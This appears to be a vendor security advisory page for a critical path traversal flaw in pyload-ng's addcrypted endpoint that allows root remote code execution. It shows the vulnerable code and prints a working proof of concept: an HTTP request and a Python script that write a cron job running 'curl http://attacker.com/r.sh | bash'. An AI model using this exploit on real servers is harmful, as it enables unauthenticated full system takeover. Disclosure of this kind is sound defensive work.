GHSA-48rp-jc79-2264 is a critical-severity (CVSS 9.8) Path Traversal vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-48rp-jc79-2264.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-48rp-jc79-2264 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.
Details
- Endpoint:
POST /addcrypted - Issue:
src/pyload/webui/app/blueprints/cnl_blueprint.py
Vulnerable Code
dlc_path = os.path.join(
dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc"
)
dlc = flask.request.form["crypted"].replace(" ", "+")
with open(dlc_path, mode="wb") as fp:
PoC
POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
Decoded payload:
* * * * * root curl -s http://attacker.com/r.sh | bash
Send crafted POST
import requests, base64
payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()
requests.post("http://localhost:8000/addcrypted", data={
"package": "../../../../etc/cron.d/exploit",
"crypted": b64
})
Impact
The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev90pip install --upgrade 'pyload-ng==0.5.0b3.dev90' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-48rp-jc79-2264 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-48rp-jc79-2264 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-48rp-jc79-2264. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-48rp-jc79-2264 in your dependencies?
O3 Security finds GHSA-48rp-jc79-2264 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.